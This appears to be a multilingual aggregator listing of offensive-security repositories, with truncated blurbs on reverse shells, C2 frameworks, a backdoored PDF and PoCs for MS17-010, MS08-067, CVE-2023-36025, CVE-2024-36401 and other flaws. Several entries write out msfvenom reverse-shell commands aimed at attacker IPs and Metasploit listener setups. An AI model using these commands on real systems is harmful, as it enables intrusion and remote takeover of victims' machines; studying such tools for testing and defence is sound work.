redpill

:octocat: Project Description The redpill project aims to assist reverse tcp shells in post-exploration tasks. Often, on redteam appointments we need to use unconventional ways to access the target system, like reverse tcp shells not metasploit in order to bypass the defenses implemented by the...

powershell-reverse-tcp

PowerShell 역방향 TCP 원격 호스트와 통신하기 위한 PowerShell 스크립트. 원격 호스트는 클라이언트와 모든 기본 시스템 명령에 대한 완전한 제어 권한을 갖게 됩니다. 다음을 기반으로 하는 셸을 확인하세요: Invoke-Expression PowerShell 명령 여기, 프로세스 파이프 여기. Windows 10 Enterprise OS 64비트에서 PowerShell v5.1.19041.2673으로 테스트되었습니다. 교육 목적으로 제작되었습니다. 도움이 되길 바랍니다! 이 저장소에는 알려진 시그니처가 포함되기...

Embedded-PDF

PDFファイルを介した埋め込みバックドア接続 😈 提供 はじめに このデモンストレーションビデオでは、一見無害に見えるPDFファイル（実際には埋め込みペイロードが含まれています）をターゲットに送信することで、被害者のデバイスを制御できる方法を示しています。このエクスプロイトはCVE-2010-1240として公開されました。 PDFがAdobe...

NodeGoat

NodeGoat Being lightweight, fast, and scalable, Node.js is becoming a widely adopted platform for developing web applications. This project provides an environment to learn how OWASP Top 10 security risks apply to web applications developed using Node.js and how to effectively address them. Getti...

Villain

Villain 목적 Villain은 여러 개의 역방향 TCP 및 HoaxShell 기반 셸을 처리하고, 추가 기능명령, 유틸리티으로 기능을 향상시키며, 연결된 형제 서버다른 시스템에서 실행 중인 Villain 인스턴스 간에 공유할 수 있는 고급 Stage 0/1 C2 프레임워크입니다. 프레임워크의 주요 기능은 다음과 같습니다: 기본, 사용자 정의 및/또는 사용자 정의 페이로드 템플릿을 기반으로 한 페이로드 생성 Windows 및 Linux, 동적으로 참여하는 유사 셸 프롬프트로 셸 세션 간 빠른 전환, HTTP를 통한 파일...

shootback

shootback shootback는 NAT나 방화벽 뒤에 있는 대상을 접근할 수 있게 해주는 역방향 TCP 터널입니다. 反向TCP隧道, 使得NAT或防火墙后的内网机器可以被外网访问. 800개의 동시 연결에서 CPU 1% 미만, 메모리 8MB를 사용합니다. slaver는 단일 파일이며 python2.7/3.4+ 표준 라이브러리만 필요합니다. 작동 방식 일반적인 사용 시나리오 1. 집에서 회사/학교 컴퓨터인터넷 IP 없음에 접속 从家里连接公司或学校里没有独立外网IP的电脑 2. 사설 네트워크/사이트를 공개 使内网或内网站点能从公网访问 3...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker msfvenom を使用してペイロードを生成する: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: ペイロードを指定します（Windows用のリバースTCPシェル）。 LHOST=10.10.14.4: 攻撃者のIPアドレス（ターゲットが接続し返す先）。 LPORT=443:...

-EXPLOIT-CVE-2023-36025

エクスプロイト CVE-2023-36025 - 説明 Windows SmartScreen セキュリティ機能バイパスの脆弱性 使用方法 注記: ターゲットからのTCPリクエストを待機するハンドラ 補足: CVE-2023-36025.vbsファイルを設定し、IPとポートをTCPハンドラに使用しているマシンのIPとポートに変更してください リバースTCPハンドラを設定します msfconsole use exploit/multi/handler set payload windows/shellreversetcp set LHOST set LPORT run...

shellcode-x64

Microsoft Windows 11 x64用Shellcode このスクリプトは、PICテクニックを使用してWindows 11 x64 Reverse TCP Shellcodeを生成します。 Shellcode生成の使用方法 root@kitploit: python ./shellreversetcp.py -i 192.168.10.10 -p 443 デフォルトの言語はCタイプのシェルコードで、Python、C、PowerShellも選択できます： root@kitploit: python ./shellreversetcp.py -i 192.168.10.10 -p...

CVE-2024-36401-PoC

CVE-2024-36401-PoC CVE-2024-36401 GeoServer の概念実証エクスプロイト 脆弱な GeoServer のバージョンは 2.23.6 | 2.24.4 | 2.25.2 より前です !!! セキュリティテスト目的のみ !!! 明示的な許可がない限り、所有していないシステムでは 使用しないでください !!! 実行手順... 1. Metasploit でリスナーを起動します root@kitploit: msf6 use exploit/multi/handler msf6 exploitmulti/handler set payload...

Embedded-Backdoor-Connection

PDFファイルによる埋め込みバックドア接続 😈 提供 はじめに このデモンストレーションビデオでは、無害に見えるPDFファイルを標的に送信することで、被害者のデバイスを制御する方法を紹介しています。このPDFファイルには実際には埋め込みペイロードが含まれています。このエクスプロイトはCVE-2010-1240として公開されました。 Adobe...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 ビルド7 エクスプロイト https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 を参考に作成 ステップ1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

MS08-067

MS08-067 | CVE-2008-4250 参考: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN シェルコードの生成 シェルコードを生成するために msfvenom を使用します。 root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

zaphoxx-coldfusion

zaphoxx-coldfusion https://cvedetails.com/cve/CVE-2009-2265/ に基づく ColdFusion エクスプロイト この特定の CVE のために Python スクリプトを用意した主な理由は、HTB のマシン Arctic を解こうとしたときに、同じ内容の Metasploit バージョンが自分ではうまく動かなかったためです。また、Python の練習を少しできるのも良かったからです。ただし、同じエクスプロイトの別の Python バージョンもあり、これは元々 Alexander Reid...

CVE-2009-1330

CVE-2009-1330 针对 Easy RM to MP3 Converter 2.7.3.700 缓冲区溢出的利用 CVE-2009-1330 基于： pwntools msfvenom / reversetcp payload ropper x64dbg Easy RM to MP3 Converter 2.7.3.700 存在漏洞的应用程序下载地址：https://www.exploit-db.com/exploits/10374...

Linux_X86_Reverse_TCP_Alphanumeric_Staged_Shellcode_Execve-bin-bash

このリポジトリには README がありません。...

CVE-2018-20250

セットアップ ビデオデモ: https://youtu.be/5tuWsi1tGS0 VirtualBox マシン: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit 実行手順 Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: root@kitploit: git clone...

penetration-testing-windows10

Vulnerability Analysis and Penetration Testing Using Metasploi...

Linux dup2 Command Shell, Reverse TCP Stager

dup2 socket in s1, then execve. Connect back to the attacker Module Options...

FTP Fetch, Reverse TCP Stager with UUID Support

Fetch and execute an x86 payload from an FTP server. Connect back to the attacker with UUID Support Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include...